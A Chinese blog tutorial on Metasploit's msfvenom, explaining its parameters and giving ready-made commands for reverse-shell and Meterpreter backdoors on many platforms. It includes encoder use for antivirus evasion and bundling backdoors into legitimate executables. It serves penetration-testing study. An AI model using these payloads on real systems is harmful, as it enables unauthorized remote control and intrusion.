msfvenom常用参数

本文详细介绍Kali Linux中msfvenom工具的使用方法,包括常见参数解析及跨平台生成后门木马payload的命令实例。适用于渗透测试人员快速上手。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马

msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码。
msfencode是MSF编码器。


一 、msfvenom 常用参数

-l
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p
指定需要使用的payload(攻击荷载)。

-f
指定输出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e
指定需要使用的encoder(编码器)编码免杀。

-a
指定payload的目标架构

选择架构平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o
保存payload文件输出。

-b
设定规避字符集,比如: '\x00\xff’避免使用的字符

-n
为payload预先指定一个NOP滑动长度

-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i
指定payload的编码次数

-c
指定一个附加的win32 shellcode文件

-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v
指定一个自定义的变量,以确定输出格式


二、各平台生成payload命令


Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe


Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho


Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk


Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1


Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf


php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php


aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx


JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp


war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war


nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js


python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py


perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl


ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb


lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua


windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


### 如何使用 `msfvenom` 构建 Shell Payload #### 工具概述 `msfvenom` 是 Metasploit 框架中的一个重要工具,用于生成各种类型的恶意软件负载(Payload)。它支持多种平台、编码器以及输出格式,能够满足不同的渗透测试需求。 #### 参数说明 以下是构建 Shell Payload 的常用参数及其功能描述: - `-p`: 指定要使用的 Payload 类型[^2]。 - `LHOST`: 设置监听的本地 IP 地址,作为反向连接的目标地址[^3]。 - `LPORT`: 设置监听端口,通常选择一个未被占用的高编号端口[^4]。 - `-f`: 指定输出文件的格式,例如可执行文件 (`exe`) 或脚本语言 (`python`, `bash`)。 - `-o`: 输出生成的 Payload 文件到指定路径。 #### 示例命令 以下是一些常见的 `msfvenom` 命令示例: ##### Linux 平台下的 Reverse TCP Shell 对于 Linux 系统,可以生成一个基于 x64 架构的反向 TCP Shell: ```bash msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.126.129 LPORT=4444 -f elf -o reverse_shell.elf ``` 此命令会生成一个 ELF 格式的二进制文件 `reverse_shell.elf`,并将其保存至当前目录下。 ##### Windows 平台下的 Meterpreter Payload 针对 Windows 环境,可以通过以下方式创建带有 Meterpreter 功能的 Payload: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=4444 -f exe -o meterpreter_payload.exe ``` 该命令将生成一个 EXE 文件 `meterpreter_payload.exe`,适用于 Windows 主机上的远程控制场景[^5]。 ##### Android APK 文件注入 如果目标设备运行的是 Android 操作系统,则可通过如下方法嵌入恶意代码到合法应用中: ```bash msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 R > output.apk ``` 上述指令会生成名为 `output.apk` 的应用程序包,可用于后续分析或部署测试环境。 #### 注意事项 在实际操作过程中需要注意以下几点: 1. **权限管理**: 执行某些敏感任务可能需要管理员特权; 2. **网络配置**: 确保源主机与目的主机之间存在有效的通信链路; 3. **法律合规性**: 仅限于授权范围内的安全研究活动;未经授权擅自入侵他人计算机属于违法行为! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值